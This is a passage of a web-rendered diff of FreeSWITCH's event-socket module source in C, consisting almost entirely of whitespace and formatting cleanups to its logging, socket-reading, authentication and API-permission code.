</span><del>-                                stream->write_function(stream, "<log log-level=\"%d\" text-channel=\"%d\" log-file=\"%s\" log-func=\"%s\" log-line=\"%d\" user-data=\"%s\">%s</log>\n",
-                                                                         dnode->level,
-                                                                         dnode->channel,
-                                                                         dnode->file,
-                                                                         dnode->func,
-                                                                         dnode->line,
-                                                                         switch_str_nil(dnode->userdata),
-                                                                         encode_buf
-                                                                         );
</del><ins>+
+                                stream->write_function(stream,
+                                                                         "<log log-level=\"%d\" text-channel=\"%d\" log-file=\"%s\" log-func=\"%s\" log-line=\"%d\" user-data=\"%s\">%s</log>\n",
+                                                                         dnode->level, dnode->channel, dnode->file, dnode->func, dnode->line, switch_str_nil(dnode->userdata), encode_buf);
</ins><span class="cx">                                 free(encode_buf);
</span><span class="cx">                                 switch_log_node_free(&dnode);
</span><span class="cx">                         }
</span><span class="lines">@@ -949,7 +945,7 @@
</span><span class="cx">
</span><span class="cx">                                 stream->write_function(stream, "%s\n", listener->ebuf);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_safe_free(listener->ebuf);
</span><span class="cx">                         switch_event_destroy(&pevent);
</span><span class="cx">                 }
</span><span class="lines">@@ -965,7 +961,7 @@
</span><span class="cx">                 char *api_command = switch_event_get_header(stream->param_event, "fsapi-command");
</span><span class="cx">                 char *api_args = switch_event_get_header(stream->param_event, "fsapi-args");
</span><span class="cx">                 switch_event_t *event, *oevent;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(api_command)) {
</span><span class="cx">                         stream->write_function(stream, "<data><reply type=\"error\">INVALID API COMMAND!</reply></data>\n");
</span><span class="cx">                         goto end;
</span><span class="lines">@@ -991,10 +987,10 @@
</span><span class="cx">                 stream->write_function(stream, "<data><reply type=\"error\">INVALID COMMAND!</reply></data\n");
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         stream->write_function(stream, "</root>\n\n");
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1015,7 +1011,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_bind_logger(socket_logger, SWITCH_LOG_DEBUG, SWITCH_FALSE);
</span><span class="cx">
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="lines">@@ -1062,7 +1058,7 @@
</span><span class="cx">                 mlen = 1;
</span><span class="cx">
</span><span class="cx">                 status = switch_socket_recv(listener->sock, ptr, &mlen);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (prefs.done || (!SWITCH_STATUS_IS_BREAK(status) && status != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="lines">@@ -1119,34 +1115,34 @@
</span><span class="cx">                                                                 switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, var, val);
</span><span class="cx">                                                                 if (!strcasecmp(var, "content-length")) {
</span><span class="cx">                                                                         clen = atoi(val);
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if (clen > 0) {
</span><span class="cx">                                                                                 char *body;
</span><span class="cx">                                                                                 char *p;
</span><del>-                                                                                
</del><ins>+
</ins><span class="cx">                                                                                 switch_zmalloc(body, clen + 1);
</span><span class="cx">
</span><span class="cx">                                                                                 p = body;
</span><del>-                                                                                while(clen > 0) {
</del><ins>+                                                                                while (clen > 0) {
</ins><span class="cx">                                                                                         mlen = clen;
</span><del>-                                                                                        
</del><ins>+
</ins><span class="cx">                                                                                         status = switch_socket_recv(listener->sock, p, &mlen);
</span><span class="cx">
</span><span class="cx">                                                                                         if (prefs.done || (!SWITCH_STATUS_IS_BREAK(status) && status != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx">                                                                                                 return SWITCH_STATUS_FALSE;
</span><span class="cx">                                                                                         }
</span><del>-                                                                                        
</del><ins>+
</ins><span class="cx">                                                                                         /*
</span><del>-                                                                                        if (channel && !switch_channel_ready(channel)) {
-                                                                                                status = SWITCH_STATUS_FALSE;
-                                                                                                break;
-                                                                                        }
-                                                                                        */
</del><ins>+                                                                                         if (channel && !switch_channel_ready(channel)) {
+                                                                                         status = SWITCH_STATUS_FALSE;
+                                                                                         break;
+                                                                                         }
+                                                                                         */
</ins><span class="cx">
</span><span class="cx">                                                                                         clen -= (int) mlen;
</span><span class="cx">                                                                                         p += mlen;
</span><span class="cx">                                                                                 }
</span><del>-                                                                                
</del><ins>+
</ins><span class="cx">                                                                                 switch_event_add_body(*event, "%s", body);
</span><span class="cx">                                                                                 free(body);
</span><span class="cx">                                                                         }
</span><span class="lines">@@ -1154,13 +1150,13 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         cur = next;
</span><span class="cx">                                 }
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (timeout) {
</span><span class="cx">                         elapsed = (uint32_t) (switch_epoch_time_now(NULL) - start);
</span><span class="cx">                         if (elapsed >= timeout) {
</span><span class="lines">@@ -1173,9 +1169,9 @@
</span><span class="cx">                         if (switch_test_flag(listener, LFLAG_LOG)) {
</span><span class="cx">                                 if (switch_queue_trypop(listener->log_queue, &pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_log_node_t *dnode = (switch_log_node_t *) pop;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (dnode->data) {
</span><del>-                                                switch_snprintf(buf, sizeof(buf),
</del><ins>+                                                switch_snprintf(buf, sizeof(buf),
</ins><span class="cx">                                                                                 "Content-Type: log/data\n"
</span><span class="cx">                                                                                 "Content-Length: %" SWITCH_SSIZE_T_FMT "\n"
</span><span class="cx">                                                                                 "Log-Level: %d\n"
</span><span class="lines">@@ -1186,25 +1182,20 @@
</span><span class="cx">                                                                                 "User-Data: %s\n"
</span><span class="cx">                                                                                 "\n",
</span><span class="cx">                                                                                 strlen(dnode->data),
</span><del>-                                                                                dnode->level,
-                                                                                dnode->channel,
-                                                                                dnode->file,
-                                                                                dnode->func,
-                                                                                dnode->line,
-                                                                                switch_str_nil(dnode->userdata)
-                                                                                );
</del><ins>+                                                                                dnode->level, dnode->channel, dnode->file, dnode->func, dnode->line, switch_str_nil(dnode->userdata)
+                                                        );
</ins><span class="cx">                                                 len = strlen(buf);
</span><span class="cx">                                                 switch_socket_send(listener->sock, buf, &len);
</span><span class="cx">                                                 len = strlen(dnode->data);
</span><span class="cx">                                                 switch_socket_send(listener->sock, dnode->data, &len);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_log_node_free(&dnode);
</span><span class="cx">                                         do_sleep = 0;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                         if (listener->session) {
</span><span class="cx">                                 switch_channel_t *chan = switch_core_session_get_channel(listener->session);
</span><span class="cx">                                 if (switch_channel_get_state(chan) < CS_HANGUP && switch_channel_test_flag(chan, CF_DIVERT_EVENTS)) {
</span><span class="lines">@@ -1223,7 +1214,7 @@
</span><span class="cx">                                         char hbuf[512];
</span><span class="cx">                                         switch_event_t *pevent = (switch_event_t *) pop;
</span><span class="cx">                                         char *etype;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         do_sleep = 0;
</span><span class="cx">                                         if (listener->format == EVENT_FORMAT_PLAIN) {
</span><span class="cx">                                                 etype = "plain";
</span><span class="lines">@@ -1242,7 +1233,7 @@
</span><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         switch_assert(listener->ebuf);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         len = strlen(listener->ebuf);
</span><span class="cx">
</span><span class="cx">                                         switch_snprintf(hbuf, sizeof(hbuf), "Content-Length: %" SWITCH_SSIZE_T_FMT "\n" "Content-Type: text/event-%s\n" "\n", len, etype);
</span><span class="lines">@@ -1252,10 +1243,10 @@
</span><span class="cx">
</span><span class="cx">                                         len = strlen(listener->ebuf);
</span><span class="cx">                                         switch_socket_send(listener->sock, listener->ebuf, &len);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_safe_free(listener->ebuf);
</span><span class="cx">
</span><del>-                                endloop:
</del><ins>+                                 endloop:
</ins><span class="cx">
</span><span class="cx">                                         switch_event_destroy(&pevent);
</span><span class="cx">                                 }
</span><span class="lines">@@ -1268,15 +1259,13 @@
</span><span class="cx">                                 char message[128] = "";
</span><span class="cx">                                 char disco_buf[512] = "";
</span><span class="cx">
</span><del>-                                switch_snprintf(message, sizeof(message),
</del><ins>+                                switch_snprintf(message, sizeof(message),
</ins><span class="cx">                                                                 "Channel %s has disconnected, lingering by request from remote.\n", switch_channel_get_name(channel));
</span><span class="cx">                                 mlen = strlen(message);
</span><span class="cx">
</span><span class="cx">                                 switch_snprintf(disco_buf, sizeof(disco_buf), "Content-Type: text/disconnect-notice\n"
</span><span class="cx">                                                                 "Controlled-Session-UUID: %s\n"
</span><del>-                                                                "Content-Disposition: linger\n"
-                                                                "Content-Length: %d\n\n",
-                                                                switch_core_session_get_uuid(listener->session), (int)mlen);
</del><ins>+                                                                "Content-Disposition: linger\n" "Content-Length: %d\n\n", switch_core_session_get_uuid(listener->session), (int) mlen);
</ins><span class="cx">
</span><span class="cx">                                 len = strlen(disco_buf);
</span><span class="cx">                                 switch_socket_send(listener->sock, disco_buf, &len);
</span><span class="lines">@@ -1287,7 +1276,7 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (do_sleep) {
</span><span class="cx">                         switch_cond_next();
</span><span class="cx">                 }
</span><span class="lines">@@ -1320,7 +1309,7 @@
</span><span class="cx">         prefs.threads++;
</span><span class="cx">         switch_mutex_unlock(globals.listener_mutex);
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!acs) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Internal error.\n");
</span><span class="cx">                 goto cleanup;
</span><span class="lines">@@ -1332,11 +1321,11 @@
</span><span class="cx">                 acs->ack = -1;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         acs->ack = 1;
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_STANDARD_STREAM(stream);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (acs->console_execute) {
</span><span class="cx">                 if ((status = switch_console_execute(acs->api_cmd, 0, &stream)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         stream.write_function(&stream, "%s: Command not found!\n", acs->api_cmd);
</span><span class="lines">@@ -1396,19 +1385,20 @@
</span><span class="cx">                 switch_memory_pool_t *pool = acs->pool;
</span><span class="cx">                 if (acs->ack == -1) {
</span><span class="cx">                         int sanity = 2000;
</span><del>-                        while(acs->ack == -1) {
</del><ins>+                        while (acs->ack == -1) {
</ins><span class="cx">                                 switch_cond_next();
</span><del>-                                if (--sanity <= 0) break;
</del><ins>+                                if (--sanity <= 0)
+                                        break;
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 acs = NULL;
</span><span class="cx">                 switch_core_destroy_memory_pool(&pool);
</span><span class="cx">                 pool = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><del>- cleanup:
</del><ins>+ cleanup:
</ins><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><span class="cx">         prefs.threads--;
</span><span class="cx">         switch_mutex_unlock(globals.listener_mutex);
</span><span class="lines">@@ -1426,14 +1416,14 @@
</span><span class="cx">         char *next = NULL;
</span><span class="cx">         switch_bool_t ok = SWITCH_TRUE;
</span><span class="cx">
</span><del>- top:
</del><ins>+ top:
</ins><span class="cx">
</span><span class="cx">         if (!switch_core_hash_find(listener->allowed_api_hash, check_cmd)) {
</span><span class="cx">                 ok = SWITCH_FALSE;
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
-        while(check_cmd) {
</del><ins>+
+        while (check_cmd) {
</ins><span class="cx">                 for (x = 0; sneaky_commands[x]; x++) {
</span><span class="cx">                         if (!strcasecmp(sneaky_commands[x], check_cmd)) {
</span><span class="cx">                                 if (check_cmd == api_cmd) {
</span><span class="lines">@@ -1452,7 +1442,7 @@
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 check_cmd = dup_arg;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((next = strchr(check_cmd, ' '))) {
</span><span class="cx">                                                 *next++ = '\0';
</span><span class="cx">                                         }
</span><span class="lines">@@ -1463,11 +1453,11 @@
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(dup_arg);
</span><span class="cx">         return ok;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t parse_command(listener_t *listener, switch_event_t **event, char *reply, uint32_t reply_len)
</span><span class="lines">@@ -1476,14 +1466,14 @@
</span><span class="cx">         char *cmd = switch_event_get_header(*event, "command");
</span><span class="cx">         char unload_cheat[] = "api bgapi unload mod_event_socket";
</span><span class="cx">         char reload_cheat[] = "api bgapi reload mod_event_socket";
</span><del>-        
</del><ins>+
</ins><span class="cx">         *reply = '\0';
</span><span class="cx">
</span><span class="cx">         if (switch_stristr("unload", cmd) && switch_stristr("mod_event_socket", cmd)) {
</span><span class="cx">                 cmd = unload_cheat;
</span><span class="cx">         } else if (switch_stristr("reload", cmd) && switch_stristr("mod_event_socket", cmd)) {
</span><span class="cx">                 cmd = reload_cheat;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (!strncasecmp(cmd, "exit", 4) || !strncasecmp(cmd, "...", 3)) {
</span><span class="cx">                 switch_clear_flag_locked(listener, LFLAG_RUNNING);
</span><span class="lines">@@ -1522,8 +1512,8 @@
</span><span class="cx">                         char api_reply[512] = "Allowed-API: all\n";
</span><span class="cx">                         char log_reply[512] = "";
</span><span class="cx">                         int allowed_log = 1;
</span><del>-                        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                         switch_clear_flag(listener, LFLAG_ALLOW_LOG);
</span><span class="cx">
</span><span class="cx">                         strip_cr(cmd);
</span><span class="lines">@@ -1548,11 +1538,11 @@
</span><span class="cx">                         passwd = NULL;
</span><span class="cx">                         allowed_events = NULL;
</span><span class="cx">                         allowed_api = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         params = NULL;
</span><span class="cx">                         x_domain_root = NULL;
</span><del>-                        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                         switch_event_create(&params, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">                         switch_assert(params);
</span><span class="cx">                         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "action", "event_socket_auth");
</span><span class="lines">@@ -1565,7 +1555,7 @@
</span><span class="cx">                                 list[1] = x_group;
</span><span class="cx">                                 list[2] = x_user;
</span><span class="cx">
</span><del>-                                for (x = 0 ; x < 3; x++) {
</del><ins>+                                for (x = 0; x < 3; x++) {
</ins><span class="cx">                                         if ((x_params = switch_xml_child(list[x], "params"))) {
</span><span class="cx">                                                 for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
</span><span class="cx">                                                         const char *var = switch_xml_attr_soft(x_param, "name");
</span><span class="lines">@@ -1587,10 +1577,10 @@
</span><span class="cx">                                 authed = 0;
</span><span class="cx">                                 goto bot;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!zstr(passwd) && !zstr(pass) && !strcmp(passwd, pass)) {
</span><span class="cx">                                 authed = 1;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (allowed_events) {
</span><span class="cx">                                         char delim = ',';
</span><span class="cx">                                         char *cur, *next;
</span><span class="lines">@@ -1601,17 +1591,17 @@
</span><span class="cx">                                         switch_snprintf(event_reply, sizeof(event_reply), "Allowed-Events: %s\n", allowed_events);
</span><span class="cx">
</span><span class="cx">                                         switch_core_hash_init(&listener->allowed_event_hash, listener->pool);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         edup = strdup(allowed_events);
</span><span class="cx">                                         cur = edup;
</span><span class="cx">
</span><span class="cx">                                         if (strchr(edup, ' ')) {
</span><span class="cx">                                                 delim = ' ';
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         for (cur = edup; cur; count++) {
</span><span class="cx">                                                 switch_event_types_t type;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if ((next = strchr(cur, delim))) {
</span><span class="cx">                                                         *next++ = '\0';
</span><span class="cx">                                                 }
</span><span class="lines">@@ -1630,15 +1620,15 @@
</span><span class="cx">                                                         if (type <= SWITCH_EVENT_ALL) {
</span><span class="cx">                                                                 listener->allowed_event_list[type] = 1;
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (type == SWITCH_EVENT_CUSTOM) {
</span><span class="cx">                                                                 custom++;
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 cur = next;
</span><span class="cx">                                         }
</span><del>-                
</del><ins>+
</ins><span class="cx">                                         switch_safe_free(edup);
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -1656,14 +1646,14 @@
</span><span class="cx">                                         switch_snprintf(api_reply, sizeof(api_reply), "Allowed-API: %s\n", allowed_api);
</span><span class="cx">
</span><span class="cx">                                         switch_core_hash_init(&listener->allowed_api_hash, listener->pool);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         edup = strdup(allowed_api);
</span><span class="cx">                                         cur = edup;
</span><span class="cx">
</span><span class="cx">                                         if (strchr(edup, ' ')) {
</span><span class="cx">                                                 delim = ' ';
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         for (cur = edup; cur; count++) {
</span><span class="cx">                                                 if ((next = strchr(cur, delim))) {
</span><span class="cx">                                                         *next++ = '\0';
</span><span class="lines">@@ -1673,19 +1663,19 @@
</span><span class="cx">
</span><span class="cx">                                                 cur = next;
</span><span class="cx">                                         }
</span><del>-                
</del><ins>+
</ins><span class="cx">                                         switch_safe_free(edup);
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        
-                bot:
</del><span class="cx">
</span><ins>+                 bot:
+
</ins><span class="cx">                         if (params) {
</span><span class="cx">                                 switch_event_destroy(&params);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (authed) {
</span><span class="cx">                                 switch_set_flag_locked(listener, LFLAG_AUTHED);
</span><span class="cx">                                 switch_snprintf(reply, reply_len, "~Reply-Text: +OK accepted\n%s%s%s\n", event_reply, api_reply, log_reply);
</span><span class="lines">@@ -1693,10 +1683,10 @@
</span><span class="cx">                                 switch_snprintf(reply, reply_len, "-ERR invalid");
</span><span class="cx">                                 switch_clear_flag_locked(listener, LFLAG_RUNNING);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (x_domain_root) {
</span><span class="cx">                                 switch_xml_free(x_domain_root);
</span><del>-                        }                        
</del><ins>+                        }
</ins><span class="cx">
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -1709,17 +1699,18 @@
</span><span class="cx">
</span><span class="cx">                 strip_cr(header_name);
</span><span class="cx">
</span><del>-                while(header_name && *header_name && *header_name == ' ') header_name++;
-                
</del><ins>+                while (header_name && *header_name && *header_name == ' ')
+                        header_name++;
+
</ins><span class="cx">                 if ((header_val = strchr(header_name, ' '))) {
</span><span class="cx">                         *header_val++ = '\0';
</span><span class="cx">                 }
</span><del>-                
-                switch_mutex_lock(listener->filter_mutex);                
</del><ins>+
+                switch_mutex_lock(listener->filter_mutex);
</ins><span class="cx">                 if (!listener->filters) {
</span><span class="cx">                         switch_event_create_plain(&listener->filters, SWITCH_EVENT_CHANNEL_DATA);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!strcasecmp(header_name, "delete") && header_val) {
</span><span class="cx">                         header_name = header_val;
</span><span class="cx">                         if ((header_val = strchr(header_name, ' '))) {
</span><span class="lines">@@ -1748,9 +1739,9 @@
</span><span class="cx">
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (listener->session && !strncasecmp(cmd, "resume", 6)) {
</span><del>-                switch_set_flag_locked(listener, LFLAG_RESUME);                        
</del><ins>+                switch_set_flag_locked(listener, LFLAG_RESUME);
</ins><span class="cx">                 switch_channel_set_variable(switch_core_session_get_channel(listener->session), "socket_resume", "true");
</span><span class="cx">                 switch_snprintf(reply, reply_len, "+OK");
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -1768,9 +1759,9 @@
</span><span class="cx">                         char *event_str;
</span><span class="cx">                         switch_size_t len;
</span><span class="cx">
</span><del>-                        switch_set_flag_locked(listener, LFLAG_CONNECTED);                        
</del><ins>+                        switch_set_flag_locked(listener, LFLAG_CONNECTED);
</ins><span class="cx">                         switch_event_create(&call_event, SWITCH_EVENT_CHANNEL_DATA);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (channel) {
</span><span class="cx">                                 switch_caller_profile_event_set_data(switch_channel_get_caller_profile(channel), "Channel", call_event);
</span><span class="cx">                                 switch_channel_event_set_data(channel, call_event);
</span><span class="lines">@@ -1811,10 +1802,10 @@
</span><span class="cx">
</span><span class="cx">                         if (!listener->session) {
</span><span class="cx">                                 char *uuid;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((uuid = cmd + 9)) {
</span><span class="cx">                                         strip_cr(uuid);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!(listener->session = switch_core_session_locate(uuid))) {
</span><span class="cx">                                                 switch_snprintf(reply, reply_len, "-ERR invalid uuid");
</span><span class="cx">                                                 goto done;
</span><span class="lines">@@ -1823,8 +1814,8 @@
</span><span class="cx">                                         switch_set_flag_locked(listener, LFLAG_SESSION);
</span><span class="cx">                                         switch_set_flag_locked(listener, LFLAG_ASYNC);
</span><span class="cx">                                 }
</span><del>-                                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         listener->event_list[SWITCH_EVENT_CHANNEL_ANSWER] = 1;
</span><span class="lines">@@ -1864,19 +1855,19 @@
</span><span class="cx">         if (!strncasecmp(cmd, "divert_events", 13)) {
</span><span class="cx">                 char *onoff = cmd + 13;
</span><span class="cx">                 switch_channel_t *channel;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!listener->session) {
</span><span class="cx">                         switch_snprintf(reply, reply_len, "-ERR not controlling a session.");
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 channel = switch_core_session_get_channel(listener->session);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (onoff) {
</span><del>-                        while(*onoff == ' ') {
</del><ins>+                        while (*onoff == ' ') {
</ins><span class="cx">                                 onoff++;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (*onoff == '\r' || *onoff == '\n') {
</span><span class="cx">                                 onoff = NULL;
</span><span class="cx">                         } else {
</span><span class="lines">@@ -1889,7 +1880,7 @@
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!strcasecmp(onoff, "on")) {
</span><span class="cx">                         switch_snprintf(reply, reply_len, "+OK events diverted");
</span><span class="cx">                         switch_channel_set_flag(channel, CF_DIVERT_EVENTS);
</span><span class="lines">@@ -1907,11 +1898,11 @@
</span><span class="cx">                 char *uuid = cmd + 7;
</span><span class="cx">                 const char *async_var = switch_event_get_header(*event, "async");
</span><span class="cx">                 int async = switch_test_flag(listener, LFLAG_ASYNC);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_true(async_var)) {
</span><span class="cx">                         async = 1;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (uuid) {
</span><span class="cx">                         while (*uuid == ' ') {
</span><span class="cx">                                 uuid++;
</span><span class="lines">@@ -1923,7 +1914,7 @@
</span><span class="cx">                                 strip_cr(uuid);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(uuid)) {
</span><span class="cx">                         uuid = switch_event_get_header(*event, "session-id");
</span><span class="cx">                 }
</span><span class="lines">@@ -1955,11 +1946,11 @@
</span><span class="cx">                                 switch_snprintf(reply, reply_len, "-ERR invalid session id [%s]", switch_str_nil(uuid));
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 goto done;
</span><span class="cx">
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(listener, LFLAG_OUTBOUND) && !switch_test_flag(listener, LFLAG_FULL)) {
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="lines">@@ -2000,7 +1991,7 @@
</span><span class="cx">                                 switch_core_session_rwunlock(dsession);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (*event) {
</span><span class="cx">                         switch_event_fire(event);
</span><span class="cx">                 }
</span><span class="lines">@@ -2009,7 +2000,7 @@
</span><span class="cx">         } else if (!strncasecmp(cmd, "api ", 4)) {
</span><span class="cx">                 struct api_command_struct acs = { 0 };
</span><span class="cx">                 char *console_execute = switch_event_get_header(*event, "console_execute");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 char *api_cmd = cmd + 4;
</span><span class="cx">                 char *arg = NULL;
</span><span class="cx">                 strip_cr(api_cmd);
</span><span class="lines">@@ -2027,14 +2018,14 @@
</span><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 acs.listener = listener;
</span><span class="cx">                 acs.api_cmd = api_cmd;
</span><span class="cx">                 acs.arg = arg;
</span><span class="cx">                 acs.bg = 0;
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 api_exec(NULL, (void *) &acs);
</span><span class="cx">
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2092,9 +2083,10 @@
</span><span class="cx">                 switch_snprintf(reply, reply_len, "~Reply-Text: +OK Job-UUID: %s\nJob-UUID: %s\n\n", acs->uuid_str, acs->uuid_str);
</span><span class="cx">                 switch_thread_create(&thread, thd_attr, api_exec, acs, acs->pool);
</span><span class="cx">                 sanity = 2000;
</span><del>-                while(!acs->ack) {
</del><ins>+                while (!acs->ack) {
</ins><span class="cx">                         switch_cond_next();
</span><del>-                        if (--sanity <= 0) break;
</del><ins>+                        if (--sanity <= 0)
+                                break;
</ins><span class="cx">                 }
</span><span class="cx">                 if (acs->ack == -1) {
</span><span class="cx">                         acs->ack--;
</span><span class="lines">@@ -2111,7 +2103,6 @@
</span><span class="cx">                         switch_snprintf(reply, reply_len, "-ERR permission denied");
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx">                 //pull off the first newline/carriage return
</span><span class="cx">                 strip_cr(cmd);
</span><span class="cx">
</span><span class="lines">@@ -2182,8 +2173,8 @@
</span><span class="cx">                                                 goto end;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 if (custom) {
</span><span class="cx">                                         if (!listener->allowed_event_hash || switch_core_hash_find(listener->allowed_event_hash, cur)) {
</span><span class="cx">                                                 switch_core_hash_insert(listener->event_hash, cur, MARKER);
</span><span class="lines">@@ -2192,7 +2183,7 @@
</span><span class="cx">                                                 goto done;
</span><span class="cx">                                         }
</span><span class="cx">                                 } else if (switch_name_event(cur, &type) == SWITCH_STATUS_SUCCESS) {
</span><del>-                                        if (switch_test_flag(listener, LFLAG_AUTH_EVENTS) && !listener->allowed_event_list[type] &&
</del><ins>+                                        if (switch_test_flag(listener, LFLAG_AUTH_EVENTS) && !listener->allowed_event_list[type] &&
</ins><span class="cx">                                                 !switch_test_flag(listener, LFLAG_ALL_EVENTS_AUTHED)) {
</span><span class="cx">                                                 switch_snprintf(reply, reply_len, "-ERR permission denied");
</span><span class="cx">                                                 goto done;
</span><span class="lines">@@ -2301,13 +2292,13 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         if (zstr(reply)) {
</span><span class="cx">                 switch_snprintf(reply, reply_len, "-ERR command not found");
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done_noreply:
</del><ins>+ done_noreply:
</ins><span class="cx">
</span><span class="cx">         if (event) {
</span><span class="cx">                 switch_event_destroy(event);
</span><span class="lines">@@ -2332,9 +2323,9 @@
